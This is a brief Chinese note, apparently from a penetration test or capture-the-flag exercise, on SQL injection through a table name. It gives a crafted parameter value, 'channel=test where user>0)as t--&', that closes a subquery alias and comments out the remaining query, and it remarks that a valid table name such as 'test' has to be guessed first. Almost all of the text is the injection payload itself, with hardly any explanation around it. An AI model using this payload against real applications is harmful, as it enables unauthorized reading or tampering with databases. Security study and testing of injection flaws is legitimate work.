注入点在表名中

channel=test where user>0)as t--&
//首先要猜到一个正确的表 test